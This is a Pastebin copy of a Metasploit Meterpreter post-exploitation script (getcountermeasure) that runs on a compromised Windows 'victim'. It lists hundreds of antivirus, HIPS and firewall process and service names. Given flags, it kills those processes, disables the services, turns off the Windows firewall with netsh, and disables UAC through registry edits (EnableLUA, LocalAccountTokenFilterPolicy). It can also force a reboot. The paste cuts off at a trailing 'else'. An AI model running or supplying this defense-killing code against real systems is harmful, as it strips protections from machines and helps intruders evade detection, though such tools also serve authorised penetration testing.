Advertisement
Guest User

getcountermeasure v2 script

a guest
Dec 4th, 2010
1,059
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 20.83 KB | None | 0 0
  1. # $Id: getcountermeasure.rb 10277 2010-11-18 21:26:27Z darkoperator / spudgunman $
  2. #
  3. # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration.
  4. # Provides also the option to kill the services and processes of detected products and disable the built-in firewall.
  5. # Provided by Carlos Perez at carlos_perez[at]darkoperator.com
  6. # Script Updated by Kelly Keeton<kellykeeton [at] hotmail>
  7. # Includes killav.rb process list by Jerome Athias <jerome.athias [at] free.fr>
  8. # Version: 0.2.5
  9. session = client
  10. @@exec_opts = Rex::Parser::Arguments.new(
  11.     "-h" => [ false, "Help menu." ],
  12.     "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall services and process found." ],
  13.     "-d" => [ false, "Disable built in Firewall" ],
  14.     "-u" => [ false, "Disable User Access Control (UAC)" ],
  15.     "-r" => [ false, "Force a reboot of the victim" ]
  16. )
  17.  
  18. def usage
  19.     print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV")
  20.     print_line("services and processes, for windows systems.")
  21.     print_line("Show XP firewall rules, and display DEP and UAC policies")
  22.     print(@@exec_opts.usage)
  23.     raise Rex::Script::Completed
  24. end
  25.  
  26. #------------------------------------------------------------------------------
  27. #list of processes, case is ignored at processing time
  28. avs = %W{
  29.     _avp32.exe
  30.     _avpcc.exe
  31.     _avpm.exe
  32.     a2adguard.exe
  33.     a2adwizard.exe
  34.     a2antidialer.exe
  35.     a2cfg.exe
  36.     a2cmd.exe
  37.     a2free.exe
  38.     a2guard.exe
  39.     a2hijackfree.exe
  40.     a2scan.exe
  41.     a2service.exe
  42.     a2start.exe
  43.     a2sys.exe
  44.     a2upd.exe
  45.     aavgapi.exe
  46.     aawservice.exe
  47.     aawtray.exe
  48.     ackwin32.exe
  49.     adaware.exe
  50.     ad-aware.exe
  51.     advxdwin.exe
  52.     ad-watch.exe
  53.     agentsvr.exe
  54.     agentw.exe
  55.     alclient.exe
  56.     alertsvc.exe
  57.     alescan.exe
  58.     alevir.exe
  59.     alogserv.exe
  60.     amon9x.exe
  61.     anti-trojan.exe
  62.     antivirus.exe
  63.     ants.exe
  64.     anvir.exe
  65.     apimonitor.exe
  66.     aplica32.exe
  67.     apvxdwin.exe
  68.     arr.exe
  69.     ashdisp.exe
  70.     ashmaisv.exe
  71.     ashserv.exe
  72.     ashwebsv.exe
  73.     aswupdsv.exe
  74.     atcon.exe
  75.     atguard.exe
  76.     atrack.exe
  77.     atro55en.exe
  78.     atupdater.exe
  79.     atwatch.exe
  80.     au.exe
  81.     aupdate.exe
  82.     autodown.exe
  83.     auto-protect.nav80try.exe
  84.     autotrace.exe
  85.     autoupdate.exe
  86.     avconsol.exe
  87.     ave32.exe
  88.     avgagent.exe
  89.     avgamsvr.exe
  90.     avgcc.exe
  91.     avgcc32.exe
  92.     avgchsvx.exe
  93.     avgcsrvx.exe
  94.     avgctrl.exe
  95.     avgemc.exe
  96.     avgemcx.exe
  97.     AVGIDSAgent.exe
  98.     AVGIDSMonitor.exe
  99.     avgmfapx.exe
  100.     avgnsx.exe
  101.     avgnt.exe
  102.     avgrsx.exe
  103.     avgserv.exe
  104.     avgserv9.exe
  105.     avgtcpsv.exe
  106.     avgtray.exe
  107.     avguard.exe
  108.     avgui.exe
  109.     avgupsvc.exe
  110.     avgw.exe
  111.     avgwdsvc.exe
  112.     avk.exe
  113.     avkbar.exe
  114.     avkpop.exe
  115.     avkproxy.exe
  116.     avkserv.exe
  117.     avkservice.exe
  118.     avktray
  119.     avktray.exe
  120.     avkwctl
  121.     avkwctl.exe
  122.     avkwctl9.exe
  123.     avltmain.exe
  124.     avmailc.exe
  125.     avnt.exe
  126.     avp.exe
  127.     avp32.exe
  128.     avpcc.exe
  129.     avpdos32.exe
  130.     avpm.exe
  131.     avpmwrap.exe
  132.     avptc32.exe
  133.     avpupd.exe
  134.     avsched32.exe
  135.     avshadow.exe
  136.     avsynmgr.exe
  137.     avwebgrd.exe
  138.     avwin.exe
  139.     avwin95.exe
  140.     avwinnt.exe
  141.     avwupd.exe
  142.     avwupd32.exe
  143.     avwupsrv.exe
  144.     avxmonitor9x.exe
  145.     avxmonitornt.exe
  146.     avxquar.exe
  147.     avz.exe
  148.     backweb.exe
  149.     bargains.exe
  150.     bd_professional.exe
  151.     bdagent.exe
  152.     bdmcon.exe
  153.     bdnagent.exe
  154.     bdss.exe
  155.     bdswitch.exe
  156.     beagle.exe
  157.     belt.exe
  158.     bidef.exe
  159.     bidserver.exe
  160.     bipcp.exe
  161.     bipcpevalsetup.exe
  162.     bisp.exe
  163.     blackd.exe
  164.     blackice.exe
  165.     blink.exe
  166.     blss.exe
  167.     boc412.exe
  168.     boc425.exe
  169.     bocore.exe
  170.     bootconf.exe
  171.     bootwarn.exe
  172.     borg2.exe
  173.     bpc.exe
  174.     brasil.exe
  175.     bs120.exe
  176.     bundle.exe
  177.     bvt.exe
  178.     cavrid.exe
  179.     cavtray.exe
  180.     ccapp.exe
  181.     ccevtmgr.exe
  182.     ccimscan.exe
  183.     ccproxy.exe
  184.     ccpwdsvc.exe
  185.     ccpxysvc.exe
  186.     ccsetmgr.exe
  187.     ccSvcHst.exe
  188.     cdp.exe
  189.     cfd.exe
  190.     cfgwiz.exe
  191.     cfiadmin.exe
  192.     cfiaudit.exe
  193.     cfinet.exe
  194.     cfinet32.exe
  195.     cfp.exe
  196.     clamd.exe
  197.     clamservice.exe
  198.     clamtray.exe
  199.     claw95.exe
  200.     claw95cf.exe
  201.     clean.exe
  202.     cleaner.exe
  203.     cleaner3.exe
  204.     cleanpc.exe
  205.     click.exe
  206.     cmdagent.exe
  207.     cmesys.exe
  208.     cmgrdian.exe
  209.     cmon016.exe
  210.     connectionmonitor.exe
  211.     cpd.exe
  212.     cpf.exe
  213.     cpf9x206.exe
  214.     cpfnt206.exe
  215.     csinsmnt.exe
  216.     ctrl.exe
  217.     cv.exe
  218.     cwnb181.exe
  219.     cwntdwmo.exe
  220.     datemanager.exe
  221.     dcomx.exe
  222.     dcsuserprot.exe
  223.     defalert.exe
  224.     defensewall.exe
  225.     defensewall_serv.exe
  226.     defscangui.exe
  227.     defwatch.exe
  228.     deputy.exe
  229.     divx.exe
  230.     dllcache.exe
  231.     dllreg.exe
  232.     doors.exe
  233.     dpf.exe
  234.     dpfsetup.exe
  235.     dpps2.exe
  236.     drwatson.exe
  237.     drweb32.exe
  238.     drwebupw.exe
  239.     dssagent.exe
  240.     dvp95.exe
  241.     dvp95_0.exe
  242.     ecengine.exe
  243.     efpeadm.exe
  244.     emsw.exe
  245.     EngineServer.exe
  246.     ent.exe
  247.     esafe.exe
  248.     escanhnt.exe
  249.     escanv95.exe
  250.     espwatch.exe
  251.     ethereal.exe
  252.     etrustcipe.exe
  253.     evpn.exe
  254.     exantivirus-cnet.exe
  255.     exe.avxw.exe
  256.     expert.exe
  257.     explore.exe
  258.     f-agnt95.exe
  259.     FAMEH32.EXE
  260.     fast.exe
  261.     FCH32.EXE
  262.     FIH32.exe
  263.     findviru.exe
  264.     firewall.exe
  265.     FNRB32.exe
  266.     ForceField.exe
  267.     fpavupdm.exe
  268.     fprot.exe
  269.     f-prot.exe
  270.     f-prot95.exe
  271.     fp-win.exe
  272.     fp-win_trial.exe
  273.     FrameworkService.exe
  274.     frw.exe
  275.     fsaa.exe
  276.     fsaua.exe
  277.     fsav.exe
  278.     fsav32.exe
  279.     fsav530stbyb.exe
  280.     fsav530wtbyb.exe
  281.     fsav95.exe
  282.     f-sched.exe
  283.     fsdfwd.exe
  284.     fsgk32.exe
  285.     fsgk32st.exe
  286.     fsguidll.exe
  287.     FSLAUNCH.EXE
  288.     FSM32.EXE
  289.     FSMA32.EXE
  290.     FSMB32.EXE
  291.     fsqh.exe
  292.     fssm32.exe
  293.     f-stopw.exe
  294.     fwservice.exe
  295.     fwsrv.exe
  296.     gator.exe
  297.     gbmenu.exe
  298.     gbpoll.exe
  299.     generics.exe
  300.     gmt.exe
  301.     guard.exe
  302.     guarddog.exe
  303.     hacktracersetup.exe
  304.     hbinst.exe
  305.     hbsrv.exe
  306.     hotactio.exe
  307.     hotpatch.exe
  308.     htlog.exe
  309.     htpatch.exe
  310.     hwpe.exe
  311.     hxdl.exe
  312.     hxiul.exe
  313.     iamapp.exe
  314.     iamserv.exe
  315.     iamstats.exe
  316.     iao.exe
  317.     ibmasn.exe
  318.     ibmavsp.exe
  319.     icload95.exe
  320.     icloadnt.exe
  321.     icmon.exe
  322.     icsupp95.exe
  323.     icsuppnt.exe
  324.     idle.exe
  325.     idsinst.exe
  326.     idslu.exe
  327.     iedll.exe
  328.     iedriver.exe
  329.     iexplorer.exe
  330.     iface.exe
  331.     ifw2000.exe
  332.     inetlnfo.exe
  333.     inetupd.exe
  334.     infus.exe
  335.     infwin.exe
  336.     init.exe
  337.     intdel.exe
  338.     intren.exe
  339.     iomon98.exe
  340.     irsetup.exe
  341.     isafe.exe
  342.     isignup.exe
  343.     issvc.exe
  344.     istsvc.exe
  345.     ISWMGR.exe
  346.     ISWSVC.exe
  347.     jammer.exe
  348.     jdbgmrg.exe
  349.     jedi.exe
  350.     kav.exe
  351.     kavlite40eng.exe
  352.     kavpers40eng.exe
  353.     kavpf.exe
  354.     kavss.exe
  355.     kavsvc.exe
  356.     kazza.exe
  357.     keenvalue.exe
  358.     kerio-pf-213-en-win.exe
  359.     kerio-wrl-421-en-win.exe
  360.     kerio-wrp-421-en-win.exe
  361.     kernel32.exe
  362.     killprocesssetup161.exe
  363.     klswd.exe
  364.     kpf4gui.exe
  365.     kpf4ss.exe
  366.     launcher.exe
  367.     ldnetmon.exe
  368.     ldpro.exe
  369.     ldpromenu.exe
  370.     ldscan.exe
  371.     livesrv.exe
  372.     lnetinfo.exe
  373.     loader.exe
  374.     localnet.exe
  375.     lockdown.exe
  376.     lockdown2000.exe
  377.     lookout.exe
  378.     lordpe.exe
  379.     lpfw.exe
  380.     lsetup.exe
  381.     luall.exe
  382.     luau.exe
  383.     lucomserver.exe
  384.     luinit.exe
  385.     luspt.exe
  386.     mantispm.exe
  387.     mapisvc32.exe
  388.     mcagent.exe
  389.     mcdetect.exe
  390.     mcmnhdlr.exe
  391.     mcrdsvc.exe
  392.     mcshield.exe
  393.     mctool.exe
  394.     McTray.exe
  395.     mctskshd.exe
  396.     mcupdate.exe
  397.     mcvsrte.exe
  398.     mcvsshld.exe
  399.     md.exe
  400.     mfevtps.exe
  401.     mfin32.exe
  402.     mfw2en.exe
  403.     mfweng3.02d30.exe
  404.     mgavrtcl.exe
  405.     mgavrte.exe
  406.     mghtml.exe
  407.     mgui.exe
  408.     minilog.exe
  409.     mmod.exe
  410.     monitor.exe
  411.     moolive.exe
  412.     mostat.exe
  413.     mpfagent.exe
  414.     mpfservice.exe
  415.     mpftray.exe
  416.     mrflux.exe
  417.     msapp.exe
  418.     msascui.exe
  419.     msbb.exe
  420.     msblast.exe
  421.     mscache.exe
  422.     msccn32.exe
  423.     mscifapp.exe
  424.     mscman.exe
  425.     msconfig.exe
  426.     msdm.exe
  427.     msdos.exe
  428.     msfwsvc.exe
  429.     msgsys.exe
  430.     msiexec16.exe
  431.     msinfo32.exe
  432.     mslaugh.exe
  433.     msmgt.exe
  434.     msmsgri32.exe
  435.     mssmmc32.exe
  436.     msssrv.exe
  437.     mssys.exe
  438.     msvxd.exe
  439.     mu0311ad.exe
  440.     mwatch.exe
  441.     n32scanw.exe
  442.     nav.exe
  443.     navap.navapsvc.exe
  444.     navapsvc.exe
  445.     navapw32.exe
  446.     navdx.exe
  447.     navlogon.dll
  448.     navlu32.exe
  449.     navnt.exe
  450.     navstub.exe
  451.     navw32.exe
  452.     navwnt.exe
  453.     nc2000.exe
  454.     ncinst4.exe
  455.     ndd32.exe
  456.     neomonitor.exe
  457.     neowatchlog.exe
  458.     netarmor.exe
  459.     netd32.exe
  460.     netinfo.exe
  461.     netmon.exe
  462.     netscanpro.exe
  463.     netspyhunter-1.2.exe
  464.     netstat.exe
  465.     netutils.exe
  466.     nisemsvr.exe
  467.     nisserv.exe
  468.     nisum.exe
  469.     nmain.exe
  470.     noads.exe
  471.     nod32.exe
  472.     nod32krn.exe
  473.     nod32kui.exe
  474.     nod32ra.exe
  475.     normist.exe
  476.     norton_internet_secu_3.0_407.exe
  477.     notstart.exe
  478.     npf40_tw_98_nt_me_2k.exe
  479.     npfmessenger.exe
  480.     npfmntor.exe
  481.     nprotect.exe
  482.     npscheck.exe
  483.     npssvc.exe
  484.     nsched32.exe
  485.     nsmdtr.exe
  486.     nssys32.exe
  487.     nstask32.exe
  488.     nsupdate.exe
  489.     nt.exe
  490.     ntrtscan.exe
  491.     ntvdm.exe
  492.     ntxconfig.exe
  493.     nui.exe
  494.     nupgrade.exe
  495.     nvarch16.exe
  496.     nvc95.exe
  497.     nvsvc32.exe
  498.     nwinst4.exe
  499.     nwservice.exe
  500.     nwtool16.exe
  501.     oasclnt.exe
  502.     ofcdog.exe
  503.     ollydbg.exe
  504.     onsrvr.exe
  505.     opscan.exe
  506.     optimize.exe
  507.     ostronet.exe
  508.     otfix.exe
  509.     outpost.exe
  510.     outpostinstall.exe
  511.     outpostproinstall.exe
  512.     paamsrv.exe
  513.     padmin.exe
  514.     panixk.exe
  515.     patch.exe
  516.     pavcl.exe
  517.     pavfnsvr.exe
  518.     pavproxy.exe
  519.     pavsched.exe
  520.     pavw.exe
  521.     pcclient.exe
  522.     pccpfw.exe
  523.     pccwin98.exe
  524.     pcfwallicon.exe
  525.     pcip10117_0.exe
  526.     pcscan.exe
  527.     pdsetup.exe
  528.     periscope.exe
  529.     persfw.exe
  530.     perswf.exe
  531.     pf2.exe
  532.     pfwadmin.exe
  533.     pgmonitr.exe
  534.     pingscan.exe
  535.     platin.exe
  536.     pop3trap.exe
  537.     poproxy.exe
  538.     popscan.exe
  539.     portdetective.exe
  540.     portmonitor.exe
  541.     powerscan.exe
  542.     ppinupdt.exe
  543.     pptbc.exe
  544.     ppvstop.exe
  545.     prizesurfer.exe
  546.     prmt.exe
  547.     prmvr.exe
  548.     procdump.exe
  549.     processmonitor.exe
  550.     procexplorerv1.0.exe
  551.     programauditor.exe
  552.     proport.exe
  553.     protector.exe
  554.     protectx.exe
  555.     ProToolbarUpdate.exe
  556.     pspf.exe
  557.     purge.exe
  558.     qconsole.exe
  559.     qdcsfs.exe
  560.     qserver.exe
  561.     rapapp.exe
  562.     rav7.exe
  563.     rav7win.exe
  564.     rav8win32eng.exe
  565.     ray.exe
  566.     rb32.exe
  567.     rcsync.exe
  568.     realmon.exe
  569.     reged.exe
  570.     regedit.exe
  571.     regedt32.exe
  572.     rescue.exe
  573.     rescue32.exe
  574.     rrguard.exe
  575.     rshell.exe
  576.     rtvscan.exe
  577.     rtvscn95.exe
  578.     rulaunch.exe
  579.     run32dll.exe
  580.     rundll.exe
  581.     rundll16.exe
  582.     ruxdll32.exe
  583.     sadblock.exe
  584.     safe.exe
  585.     safeweb.exe
  586.     sahagent.exe
  587.     sandboxieserver.exe
  588.     save.exe
  589.     savenow.exe
  590.     savscan.exe
  591.     sbiectrl.exe
  592.     sbiesvc.exe
  593.     sbserv.exe
  594.     scam32.exe
  595.     scan32.exe
  596.     scan95.exe
  597.     ScanningProcess.exe
  598.     scanpm.exe
  599.     scfservice.exe
  600.     sched.exe
  601.     schedm.exe
  602.     scheduler daemon.exe
  603.     scrscan.exe
  604.     sdhelp.exe
  605.     serv95.exe
  606.     setup_flowprotector_us.exe
  607.     setupvameeval.exe
  608.     sfc.exe
  609.     SfCtlCom.exe
  610.     sgbhp.exe
  611.     sgmain.exe
  612.     sgssfw32.exe
  613.     sh.exe
  614.     shellspyinstall.exe
  615.     shn.exe
  616.     showbehind.exe
  617.     slee503.exe
  618.     smartfix.exe
  619.     smc.exe
  620.     SmcGui.exe
  621.     sms.exe
  622.     smss32.exe
  623.     snoopfreesvc.exe
  624.     snoopfreeui.exe
  625.     soap.exe
  626.     sofi.exe
  627.     sp_rsser.exe
  628.     spbbcsvc.exe
  629.     sperm.exe
  630.     spf.exe
  631.     sphinx.exe
  632.     spoler.exe
  633.     spoolcv.exe
  634.     spoolsv32.exe
  635.     spyblocker.exe
  636.     spybotsd.exe
  637.     spysweeper.exe
  638.     spysweeperui.exe
  639.     spywareguard.dll
  640.     spywareterminatorshield.exe
  641.     spyxx.exe
  642.     srexe.exe
  643.     srng.exe
  644.     ss3edit.exe
  645.     ssg_4104.exe
  646.     ssgrate.exe
  647.     ssu.exe
  648.     st2.exe
  649.     start.exe
  650.     stcloader.exe
  651.     steganos5.exe
  652.     stinger.exe
  653.     supftrl.exe
  654.     support.exe
  655.     supporter5.exe
  656.     svc.exe
  657.     svchostc.exe
  658.     svchosts.exe
  659.     svshost.exe
  660.     swdoctor.exe
  661.     sweep95.exe
  662.     swupdate.exe
  663.     symlcsvc.exe
  664.     symproxysvc.exe
  665.     symtray.exe
  666.     symundo.exe
  667.     symwsc.exe
  668.     symwscno.exe
  669.     sysedit.exe
  670.     system.exe
  671.     system32.exe
  672.     sysupd.exe
  673.     taskmg.exe
  674.     taskmgr.exe
  675.     taskmo.exe
  676.     taskmon.exe
  677.     taumon.exe
  678.     tbscan.exe
  679.     tc.exe
  680.     tca.exe
  681.     tcguard.exe
  682.     tcm.exe
  683.     tds2-98.exe
  684.     tds2-nt.exe
  685.     tds-3.exe
  686.     teatimer.exe
  687.     teekids.exe
  688.     tfak.exe
  689.     tfak5.exe
  690.     tgbbob.exe
  691.     tgbob.exe
  692.     tgbstarter.exe
  693.     titanin.exe
  694.     titaninxp.exe
  695.     TMBMSRV.exe
  696.     TmPFw.exe
  697.     TmProxy.exe
  698.     tracert.exe
  699.     trickler.exe
  700.     trjscan.exe
  701.     trjsetup.exe
  702.     trojantrap3.exe
  703.     tsadbot.exe
  704.     tsatudt.exe
  705.     tvmd.exe
  706.     tvtmd.exe
  707.     UFSeAgnt.exe
  708.     umxagent.exe
  709.     umxcfg.exe
  710.     umxfwhlp.exe
  711.     umxlu.exe
  712.     umxpol.exe
  713.     umxtray.exe
  714.     undoboot.exe
  715.     updat.exe
  716.     update.exe
  717.     UpdaterUI.exe
  718.     upgrad.exe
  719.     usrprmpt.exe
  720.     utpost.exe
  721.     vbcmserv.exe
  722.     vbcons.exe
  723.     vbust.exe
  724.     vbwin9x.exe
  725.     vbwinntw.exe
  726.     vcsetup.exe
  727.     vet32.exe
  728.     vet95.exe
  729.     vetmsg.exe
  730.     vetmsg9x.exe
  731.     vettray.exe
  732.     vfsetup.exe
  733.     vir-help.exe
  734.     virusmdpersonalfirewall.exe
  735.     vnlan300.exe
  736.     vnpc3000.exe
  737.     vpc32.exe
  738.     vpc42.exe
  739.     vpfw30s.exe
  740.     vptray.exe
  741.     vsaccess.exe
  742.     vscan40.exe
  743.     vscenu6.02d30.exe
  744.     vsched.exe
  745.     vsecomr.exe
  746.     vshwin32.exe
  747.     vsisetup.exe
  748.     vsmain.exe
  749.     vsmon.exe
  750.     vsserv.exe
  751.     vsstat.exe
  752.     VsTskMgr.exe
  753.     vswin9xe.exe
  754.     vswinntse.exe
  755.     vswinperse.exe
  756.     w32dsm89.exe
  757.     w9x.exe
  758.     watchdog.exe
  759.     wcantispy.exe
  760.     webdav.exe
  761.     webscanx.exe
  762.     webtrap.exe
  763.     wfindv32.exe
  764.     whoswatchingme.exe
  765.     wimmun32.exe
  766.     win32.exe
  767.     win32us.exe
  768.     winactive.exe
  769.     win-bugsfix.exe
  770.     window.exe
  771.     windows.exe
  772.     wininetd.exe
  773.     wininitx.exe
  774.     winlogin.exe
  775.     winmain.exe
  776.     winnet.exe
  777.     winpatrol.exe
  778.     winpatrolex.exe
  779.     winppr32.exe
  780.     winrecon.exe
  781.     winservn.exe
  782.     winssk32.exe
  783.     winstart.exe
  784.     winstart001.exe
  785.     wintsk32.exe
  786.     winupdate.exe
  787.     wkufind.exe
  788.     wnad.exe
  789.     wnt.exe
  790.     wradmin.exe
  791.     wrctrl.exe
  792.     wrsssdk.exe
  793.     wsbgate.exe
  794.     wupdater.exe
  795.     wupdt.exe
  796.     wyvernworksfirewall.exe
  797.     xcommsvr.exe
  798.     xfr.exe
  799.     xp-antispy.exe
  800.     xpf202en.exe
  801.     zapro.exe
  802.     zapsetup3001.exe
  803.     zatutor.exe
  804.     zegarynka.exe
  805.     zlclient.exe
  806.     zonalm2601.exe
  807.     zonealarm.exe
  808. }
  809. #-------------------------------------------------------------------------------
  810. #list of services, this is the "service name" NOT the "display name" also note
  811. #if the service has a 'space' to escape it first "My String" == "My\ String"
  812. #case is ignored at processing time
  813. avservices = %W{
  814.     avg9emc
  815.     avg9wd
  816.     AVGIDSAgent
  817.     avgwd
  818.     ccEvtMgr
  819.     ccSetMgr
  820.     FSAUA
  821.     FSDFWD
  822.     FSGKHS
  823.     FSMA
  824.     IswSvc
  825.     McAfeeEngineService
  826.     McAfeeFramework
  827.     McShield
  828.     McTaskManager
  829.     mfevtp
  830.     MsMpSvc
  831.     SfCtlCom
  832.     SmcService
  833.     SNAC
  834.     Symantec\ AntiVirus
  835.     TMBMServer
  836.     TmPfw
  837.     TmProxy
  838.     vsmon
  839.     WinDefend
  840.     wscsvc
  841. }
  842. #-------------------------------------------------------------------------------
  843. # Check for the presence of AV, HIPS and Third Party firewall and/or kill the
  844. # services and processes associated with it
  845. def check(session,avs,avservices,killbit)
  846. spacer = "-------------------------------------------------------------------"
  847.     if (killbit)
  848.         print_error("\tTarget may require script re-ran and/or Reboot to fully remove countermeasure...")
  849.     end
  850.     #we need a list of services first
  851.     r = session.sys.process.execute("cmd.exe /c tasklist /svc /FO CSV", nil, {'Hidden' => 'true', 'Channelized' => true})
  852.         while(raw = r.channel.read)
  853.         raw.gsub!(/\r\n?/,',') #replace nasty CRLF with ,
  854.         raw.gsub!('"','') #remove some "" that are here and there
  855.         svclist = raw.downcase.split(",") #make array for parsing
  856.         end
  857.     r.channel.close
  858.     r.close
  859.     #-----info or kill service
  860.     avservicesclean = avservices.map{|i| i.downcase} #convert our array to downcase for later downcase processing
  861.     print_status(spacer)
  862.     print_status("Checking for Services...")
  863.     svclist.each do |x|
  864.         if (avservicesclean.index(x))
  865.             print_status("\tPossible countermeasure service found #{x}")
  866.             if (killbit)
  867.                 begin #error handle for service killing
  868.                     print_status("\t\tKilling service for countermeasure.....")
  869.                     r = session.sys.process.execute("cmd.exe /c sc config #{x} start= disabled & net stop #{x}", nil, {'Hidden' => 'true', 'Channelized' => true})
  870.                 rescue Exception => e
  871.                     print_error("\t\t#{e}")
  872.                 end
  873.             end
  874.         end
  875.     end
  876.     r.channel.close
  877.     r.close
  878.     #-----info or kill process
  879.     avsclean = avs.map{|i| i.downcase} #convert our array to downcase for later downcase processing
  880.     print_status(spacer)
  881.     print_status("Checking for Processes...")
  882.     session.sys.process.get_processes().each do |x|
  883.         if (avsclean.index(x['name'].downcase))
  884.             print_status("\tPossible countermeasure process found #{x['name']} #{x['path']}")
  885.             if (killbit)
  886.                 begin #error handle for process killing
  887.                     print_status("\t\tKilling process for countermeasure.....")
  888.                     session.sys.process.kill(x['pid'])
  889.                 rescue Exception => e
  890.                     print_error("\t\t#{e}")
  891.                 end
  892.             end
  893.         end
  894.     end
  895.     print_status(spacer)
  896. end
  897. #-------------------------------------------------------------------------------
  898. # Get the configuration and/or disable the built in Windows Firewall
  899. def checklocalfw(session,killfw,winvr)
  900.     print_status("Getting Windows Built in Firewall configuration...")
  901.     opmode = ""
  902. #----
  903.     if winvr !~ /Windows 7/
  904.         if (killfw)
  905.             print_status("\tDisabling Built in Firewall.....")
  906.             f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})
  907.             while(d = f.channel.read)
  908.                 if d =~ /The requested operation requires elevation./
  909.                     print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")
  910.                 end
  911.             end
  912.             f.channel.close
  913.             f.close
  914.         else
  915.             r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})
  916.             while(d = r.channel.read)
  917.                 opmode << d
  918.             end
  919.             r.channel.close
  920.             r.close
  921.         end
  922.     end
  923.        
  924.     if winvr =~ /Windows 7/  #?Windows Vista|
  925.         if (killfw)
  926.             print_status("\tDisabling Built in Firewall.....")
  927.             f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})
  928.             while(d = f.channel.read)
  929.                 if d =~ /The requested operation requires elevation./
  930.                     print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")
  931.                 end
  932.             end
  933.             f.channel.close
  934.             f.close
  935.         else
  936.             r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})
  937.             while(d = r.channel.read)
  938.                 opmode << d
  939.             end
  940.             r.channel.close
  941.             r.close
  942.         end
  943.     end
  944.     #print results
  945.     opmode.split("\n").each do |o|
  946.         print_status("\t#{o}")
  947.     end
  948. end
  949. #-------------------------------------------------------------------------------
  950. # Function for getting the current DEP Policy on the Windows Target
  951. def checkdep(session)
  952.     spacer = "-------------------------------------------------------------------"
  953.     tmpout = ""
  954.     depmode = ""
  955.     # Expand environment %TEMP% variable
  956.     tmp = session.fs.file.expand_path("%TEMP%")
  957.     # Create random name for the wmic output
  958.     wmicfile = sprintf("%.5d",rand(100000))
  959.     wmicout = "#{tmp}\\#{wmicfile}"
  960.     print_status(spacer)
  961.     print_status("Checking DEP Support Policy...")
  962.     r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true})
  963.     sleep(2)
  964.     r.close
  965.     r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true})
  966.         while(d = r.channel.read)
  967.             tmpout << d
  968.         end
  969.     r.close
  970.     session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true})
  971.     depmode = tmpout.scan(/(\d)/)
  972.     if depmode.to_s == "0"
  973.         print_status("\tDEP is off for the whole system.")
  974.     elsif depmode.to_s == "1"
  975.         print_status("\tFull DEP coverage for the whole system with no exceptions.")
  976.     elsif depmode.to_s == "2"
  977.         print_status("\tDEP is limited to Windows system binaries.")
  978.     elsif depmode.to_s == "3"
  979.         print_status("\tDEP is on for all programs and services.")
  980.     end
  981. end
  982. #-------------------------------------------------------------------------------
  983. #function to check or kill UAC
  984. def checkuac(session,killuc)
  985.     spacer = "-------------------------------------------------------------------"
  986.     print_status(spacer)
  987.     print_status("Checking if UAC is enabled ...")
  988.     key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
  989.     root_key, base_key = session.sys.registry.splitkey(key)
  990.     value = "EnableLUA"
  991.     open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
  992.     v = open_key.query_value(value)
  993.     if v.data == 1
  994.         print_status("\tUAC is Enabled")
  995.         if (killuc)
  996.             begin
  997.                 print_status("\tKilling UAC countermeasure.....")
  998.                 kill1="C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
  999.                 kill2="C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
  1000.                 session.sys.process.execute("cmd.exe /c #{kill1}", nil, {'Hidden' => true})
  1001.                 session.sys.process.execute("cmd.exe /c #{kill2}", nil, {'Hidden' => true})
  1002.                 #try different method
  1003.                 open_key.set_value(value, session.sys.registry.type2str("REG_DWORD"), 0)
  1004.             rescue Exception => e
  1005.                 print_error("\t\t#{e}")
  1006.             end
  1007.         end
  1008.     else
  1009.         print_status("\tUAC is Disabled")
  1010.     end
  1011. end
  1012.  
  1013. def checkreboot(killpc,winvr)
  1014.     if winvr =~ /Windows Vista|Windows 7/
  1015.         if (killpc)
  1016.             print_error("\tRebooting Victim PC your session will die.....")
  1017.             session.sys.process.execute("cmd.exe /c shutdown /l /r /f", nil, {'Hidden' => true})
  1018.         elsif winvr !~ /Windows Vista|Windows 7/
  1019.             print_error("\tRebooting Victim PC your session will die.....")
  1020.             session.sys.process.execute("cmd.exe /c shutdown -l -r -f", nil, {'Hidden' => true})
  1021.         end
  1022.     end
  1023. end
  1024.  
  1025. ################## MAIN ##################
  1026. killbt = false
  1027. killfw = false
  1028. killuac = false
  1029. killpc = false
  1030. @@exec_opts.parse(args) { |opt, idx, val|
  1031.     case opt
  1032.     when "-k"
  1033.         killbt = true
  1034.     when "-d"
  1035.         killfw = true
  1036.     when "-u"
  1037.         killuac = true
  1038.     when "-r"
  1039.         killpc = true
  1040.     when "-h"
  1041.         usage
  1042.     end
  1043. }
  1044. # get the version of windows
  1045. if client.platform =~ /win32|win64/
  1046.     wnvr = session.sys.config.sysinfo["OS"]
  1047.     print_status("Running Getcountermeasure on the target...")
  1048.     check(session,avs,avservices,killbt)
  1049.     #print_error(winvr)
  1050.     if wnvr !~ /Windows 2000/
  1051.         checklocalfw(session,killfw,wnvr)
  1052.         checkdep(session)
  1053.         checkreboot(killpc,wnvr)
  1054.     end
  1055.     if wnvr =~ /Windows Vista|Windows 7/
  1056.         checkuac(session,killuac)
  1057.     end
  1058. else
